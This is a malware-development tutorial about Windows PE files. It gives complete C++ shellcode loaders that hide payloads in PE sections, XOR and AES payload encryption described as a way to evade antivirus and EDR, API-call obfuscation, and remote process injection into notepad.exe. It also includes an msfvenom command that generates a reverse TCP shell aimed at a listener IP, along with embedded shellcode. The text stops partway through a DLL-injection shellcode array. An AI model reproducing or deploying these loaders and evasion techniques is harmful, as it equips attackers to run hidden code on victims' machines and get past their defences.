# Malware Development Essentials

## Portable Executable (PE) File Format

The **Portable Executable (PE)** format is a file format used for executables, object code, DLLs, FON font files, and other file types in 32-bit and 64-bit versions of Windows operating systems. The PE format is a data structure that encapsulates the information required by the Windows OS loader to manage the executable code. This includes dynamic library references for linking, API export and import tables, resource management data, and thread-local storage (TLS) data. In NT-based operating systems, the PE format is used for EXE, DLL, SYS (device driver), and other file types.

<figure><img src="/files/3Yq51uvU1Ty8MF4V0APj" alt=""><figcaption></figcaption></figure>

#### **Key PE Sections**

* **`.text`**: Contains executable code (*useful for malware developers*).
* **`.rdata`**: Contains read-only data.
* **`.data`**: Contains the application’s global variables (*useful for malware developers*).
* **`.pdata`**: Contains exception handling information.
* **`.rsrc`**: Contains resources such as objects, pictures, icons, manifest files, embedded EXEs, and DLLs (*useful for malware developers*).
* **`.reloc`**: Contains relocation information, allowing Windows loaders to properly load DLLs or EXEs into memory.

#### **PE Bear**

A **Portable Executable** reversing tool with a user-friendly GUI.

<figure><img src="/files/AqlHK4tXWkc2wsKGV23H" alt=""><figcaption><p>PE Bear Software</p></figcaption></figure>

#### **EXE vs. DLL**

* **EXE (Executable)**
  * Programs that can be loaded into memory as independent processes.
  * Require a `main` function.
* **DLL (Dynamic Link Library)**
  * PE modules loaded into an existing process.
  * Provide functionalities required by the process.
  * Require a `DllMain` function.

The only difference between an EXE and a DLL is how they are invoked in a program.

## Payload Storage

#### **Payload Storage in PE Files**

**1. Dropper**

* A **dropper** is a specialized program or file (e.g., PDF, DOCX) used to deliver a payload to a target machine.
* Its primary function is to **bypass detection** and **execute the payload** on the victim's system.

**2. Payload**

* A **sophisticated program** designed to perform malicious actions, such as:
  * Deploying malware.
  * Establishing a reverse shell.
  * Disabling antivirus (AV).
  * Downloading/executing additional programs.
  * Escalating privileges.

**3. Storing Payload in PE Sections**

Payloads can be embedded in different sections of a **Portable Executable (PE)** file:

| **Section** | **Storage Method**                                 | **Use Case**                                                           |
| ----------- | -------------------------------------------------- | ---------------------------------------------------------------------- |
| **`.text`** | Stored as **local variables** inside functions.    | Executable code region; useful for hiding small payloads.              |
| **`.data`** | Stored as **global variables**.                    | Stores writable data; payload remains accessible throughout execution. |
| **`.rsrc`** | Embedded as **resources** (e.g., icons, binaries). | Evades detection by storing payload as non-executable data.            |

### Generate payload using MSFVENOM&#x20;

```sh
Intrusionz3r0@htb[/htb]$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.109 LPORT=1234 raw EXITFUNC=thread > shellcode.bin
Intrusionz3r0@htb[/htb]$ msfvenom -p windows/x64/exec cmd="C:\Windows\System32\calc.exe" -f raw EXITFUNC=thread > shellcode.bin
Intrusionz3r0@htb[/htb]$ xxd -i shellcode.bin
```

### Store Payload .text section

**File:** `compile.bat`

```batch
@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
```

Payload is **defined as a local variable** inside main function.

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;

	// 4 byte payload
	unsigned char payload[] = {
		0x90,		// NOP
		0x90,		// NOP
		0xcc,		// INT3
		0xc3		// RET
	};
	unsigned int payload_len = 4;
	
	// Allocate a memory buffer for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
	printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

	// Copy payload to new buffer
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	// Make new buffer as executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	printf("\nHit me!\n");
	getchar();

	// If all good, run the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

```

### Store Payload .data section

**File:** `compile.bat`

```batch
@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
```

Payload is **defined as a global variable**.

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 4 byte payload
unsigned char payload[] = {
	0x90,		// NOP
	0x90,		// NOP
	0xcc,		// INT3
	0xc3		// RET
};
unsigned int payload_len = 4;

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;

	// Allocate a memory buffer for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
	printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

	// Copy payload to new buffer
	RtlMoveMemory(exec_mem, payload, payload_len);

	// Make new buffer as executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	printf("\nHit me!\n");
	getchar();

	// If all good, run the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

```

### Store Payload .rsrc section

Payload is **embedded as a resource** (e.g., fake icon file).

**File:** `resources.rc`

```cpp
#include "resources.h"

FAVICON_ICO RCDATA calc.ico
```

**File:** `resources.h`

```cpp
#define FAVICON_ICO 100
```

**File:** `compile.bat`

```batch
@ECHO OFF

rc resources.rc
cvtres /MACHINE:x64 /OUT:resources.o resources.res
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o
```

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	
	unsigned char * payload;
	unsigned int payload_len;
	
	// Extract payload from resources section
	res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = LoadResource(NULL, res);
	payload = (char *) LockResource(resHandle);
	payload_len = SizeofResource(NULL, res);
	
	// Allocate some memory buffer for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
	printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

	// Copy payload to new memory buffer
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	// Make the buffer executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	printf("\nHit me!\n");
	getchar();

	// Launch the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

```

## Payload Encoding and Encryption

The purpose is to evade AV/EDR and make it difficult to detect

#### **Difference between encoding and encryption**

**Encode:** The purpose is to transform data using a public schema to and make it easy to process by software. (To decode needs to know the decode type)

* Base64

**Encryption:** The purpose is to transform data using an encryption algorithm in order to keep it secret from others **(**&#x54;o decrypt needs Encryption type and ke&#x79;**)**

* XOR
* AES

### Base64 encoding&#x20;

{% hint style="danger" %}
Base64 encoding is a weak and detectable, it is not recommended to use it for malware.&#x20;
{% endhint %}

**File:** `compile.bat`

```batch
@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
```

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>
#pragma comment (lib, "Crypt32.lib")

unsigned char calc_payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA";
unsigned int calc_len = sizeof(calc_payload);


int DecodeBase64( const BYTE * src, unsigned int srcLen, char * dst, unsigned int dstLen ) {

	DWORD outLen;
	BOOL fRet;

	outLen = dstLen;
	fRet = CryptStringToBinary( (LPCSTR) src, srcLen, CRYPT_STRING_BASE64, (BYTE * )dst, &outLen, NULL, NULL);
	
	if (!fRet) outLen = 0;  // failed
	
	return( outLen );
}


int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
	
	// Allocate new memory buffer for payload
	exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
	printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

	printf("\nHit me 1st!\n");
	getchar();

	// Decode the payload back to binary form
	DecodeBase64((const BYTE *)calc_payload, calc_len, (char *) exec_mem, calc_len);
	
	// Make the buffer executable
	rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

	printf("\nHit me 2nd!\n");
	getchar();

	// If all good, execute!
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

```

### XOR encryption

**File:** `xor_encrypt.py`

```python
import sys

KEY = "mysecretkeee"

def xor(data, key):
	
	key = str(key)
	l = len(key)
	output_str = ""

	for i in range(len(data)):
		current = data[i]
		current_key = key[i % len(key)]
		output_str += chr(ord(current) ^ ord(current_key))
	
	return output_str

def printCiphertext(ciphertext):
	print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')



try:
    plaintext = open(sys.argv[1], "rb").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()


ciphertext = xor(plaintext, KEY)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

```

**File:** `compile.bat`

```batch
@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
```

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;

	unsigned char calc_payload[] = 
	unsigned int calc_len = sizeof(calc_payload);
	char key[] = "mysecretkeee";

	// Allocate a buffer for payload
	exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
	printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

	printf("\nHit me 1st!\n");
	getchar();

	// Decrypt (DeXOR) the payload
	XOR((char *) calc_payload, calc_len, key, sizeof(key));
	
	// Copy the payload to allocated buffer
	RtlMoveMemory(exec_mem, calc_payload, calc_len);
	
	// Make the buffer executable
	rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

	printf("\nHit me 2nd!\n");
	getchar();

	// If all good, launch the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

```

### AES Encryption

**File:** aes\_encrypt.py

```python
import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib

KEY = urandom(16)

def pad(s):
	return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)

def aesenc(plaintext, key):

	k = hashlib.sha256(key).digest()
	iv = 16 * '\x00'
	plaintext = pad(plaintext)
	cipher = AES.new(k, AES.MODE_CBC, iv)

	return cipher.encrypt(bytes(plaintext))


try:
    plaintext = open(sys.argv[1], "r").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()

ciphertext = aesenc(plaintext, KEY)
print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

```

**File:** compile.bat

```batch
@ECHO OFF

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
```

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        }
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                return -1;
        }
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        }
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                return -1;
        }
        
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
                return -1;
        }
        
        CryptReleaseContext(hProv, 0);
        CryptDestroyHash(hHash);
        CryptDestroyKey(hKey);
        
        return 0;
}


int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;

	char key[] = 
	unsigned char calc_payload[] = 
	unsigned int calc_len = sizeof(calc_payload);
	
	// Allocate memory for payload
	exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	printf("%-20s : 0x%-016p\n", "calc_payload addr", (void *)calc_payload);
	printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

	printf("\nHit me 1st!\n");
	getchar();

	// Decrypt payload
	AESDecrypt((char *) calc_payload, calc_len, key, sizeof(key));
	
	// Copy payload to allocated buffer
	RtlMoveMemory(exec_mem, calc_payload, calc_len);
	
	// Make the buffer executable
	rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

	printf("\nHit me 2nd!\n");
	getchar();

	// If all good, launch the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}


```

## Function Call Obfuscation

**Function call obfuscation** is a technique used in malware development to **hide calls to external functions** (usually from Windows DLLs) in order to **evade detection** by antivirus (AV) software.

#### How does a normal executable work?

* EXE or DLL files **use external functions** from system DLLs like `kernel32.dll`, `user32.dll`, etc.
* These external functions are **imported normally**, and their names appear clearly in the **Import Address Table (IAT)**.
* AV engines analyze these imports to **detect suspicious or malicious behavior**.

**How does AV detect malware?**

AV software inspects imported DLLs and their functions. If the executable uses functions often seen in malware—such as:

* `VirtualAlloc`
* `WriteProcessMemory`
* `CreateRemoteThread`

...then the AV might flag the binary as suspicious or malicious.

#### How Does Function Call Obfuscation Help?

To evade AV detection, malware developers avoid importing sensitive functions directly. Instead, they:

* Resolve function addresses **at runtime** using Windows API functions:
  * `GetModuleHandle("DLL_Name")`: Returns a handle to a loaded DLL.
  * `GetProcAddress(handle, "FunctionName")`: Returns the address of a function in the specified DLL.

#### Listing imports using dumpbin

```sh
C:\Users\rto\Downloads\RTO Files\05.Functions_Obfuscation>dumpbin /imports implant.exe
Microsoft (R) COFF/PE Dumper Version 14.24.28316.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file implant.exe

File Type: EXECUTABLE IMAGE

  Section contains the following imports:

    KERNEL32.dll
             14000D000 Import Address Table
             140015538 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference
                         <SNIF>
                         5DB VirtualProtect
                         <SNIF>
```

This tells AVs that `VirtualProtect` is used—which can be suspicious.

#### How to search for function (E.x. VirtualProtect)

1. Example: `msdn virtualprotect`
2. Copy the function structure

**E.x. VirtualProtect Structure**

```cpp
BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);
```

1. First, define a global function pointer:

```cpp
BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);
```

Then resolve it at runtime:

```sh
pVirtualProtect = GetProcAddress(GetModuleHandle("Kernel32.dll"),"VirtualProtect");
```

The problem here is the VirtualProtect into the code and it can be detectable, to fix it use XOR encryption.

#### Obfuscating Strings using XOR encryption and CyberChef

**Site:** [CyberChef](https://gchq.github.io/CyberChef/#recipe=XOR\(%7B'option':'UTF8','string':'ABCDEFGHIJKLMNOPQRSTUVWXYZ'%7D,'Standard',false\)To_Hex\('0x%20with%20comma',0\)\&input=VmlydHVhbFByb3RlY3Q)

**Key**: RANDOMKEY

**Input:** FUNCTION\_NAME

<figure><img src="/files/57FuoC4DKFpioNtAy7Ct" alt=""><figcaption></figcaption></figure>

#### OLD CODE WITHOUT CALL OBFUSCATION

This code calls `VirtualProtect` directly, exposing its name in the binary/

```cpp
exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(exec_mem, calc_payload, calc_len);
VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
```

#### NEW CODE USING FUNCTION CALL OBFUSCATION

This version hides the call to `VirtualProtect` using XOR and dynamic resolution.

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char calc_payload[] = {PAYLOAD};
  
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

unsigned int calc_len = sizeof(calc_payload);


BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flNewProtect, PDWORD lpflOldProtect);

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
	char key[] = "1234567890";
	char sVirtualProtect[] = {0x67,0x5b,0x41,0x40,0x40,0x57,0x5b,0x68,0x4b,0x5f,0x45,0x57,0x50,0x40};

	// Allocate buffer for payload
	exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	
	XOR((char *) sVirtualProtect, strlen(sVirtualProtect), key, sizeof(key));
	pVirtualProtect = GetProcAddress(GetModuleHandle("Kernel32.dll"),sVirtualProtect);
	
	// Copy payload to the buffer
	RtlMoveMemory(exec_mem, calc_payload, calc_len);
	
	// Make the buffer executable
	rv = pVirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

	// If all good, run the payload
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

```

Using **Function Call Obfuscation**:

* Prevents AV from easily detecting sensitive API calls.
* Allows dynamic resolution of Windows API functions at runtime.
* Can be extended to any function: `CreateRemoteThread`, `LoadLibrary`, etc.
* Increases stealth of malware or offensive tools.

## Code Injection

**Payload injection** is a technique used in malware development where a malicious code payload is inserted into a legitimate process or system.

<figure><img src="/files/kwv1LhoK5lzNNdejrYzp" alt=""><figcaption></figcaption></figure>

#### Most Common Combination

* `VirtualAllocEx`: Allocates memory in the remote process.
* `WriteProcessMemory`: Writes the shellcode into the allocated memory.
* `CreateRemoteThread`: Starts a new thread in the remote process to execute the shellcode.

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

// MessageBox shellcode - 64-bit
unsigned char payload[] = {
  0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
  0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
  0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
  0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
  0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
  0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
  0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
  0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
  0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
  0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
  0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
  0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
  0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
  0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
  0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
  0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
  0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
  0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
  0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
  0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
  0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
  0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
  0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
  0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
  0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
};
unsigned int payload_len = 334;


int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;

  
        pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
        WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}


int main(void) {
    
	int pid = 0;
    HANDLE hProc = NULL;

	pid = FindTarget("notepad.exe");

	if (pid) {
		printf("Notepad.exe PID = %d\n", pid);

		// try to open target process
		hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);

		if (hProc != NULL) {
			Inject(hProc, payload, payload_len);
			CloseHandle(hProc);
		}
	}
	return 0;
}

```

## DLL Injection

* `LoadLibrary`: The address of this function is obtained in `dropper.exe` using `GetProcAddress`.
* `VirtualAllocEx`: Called in the target process (e.g., `outlook.exe`) to allocate space for the DLL path.
* `WriteProcessMemory`: Writes the DLL path into the allocated memory.
* `CreateRemoteThread`: Executes `LoadLibrary` with the path to the DLL as its argument, effectively loading the malicious DLL into the target process.

&#x20;File: `implantDLL.cpp`

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Calc.exe shellcode (exit function = thread)
unsigned char payload[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
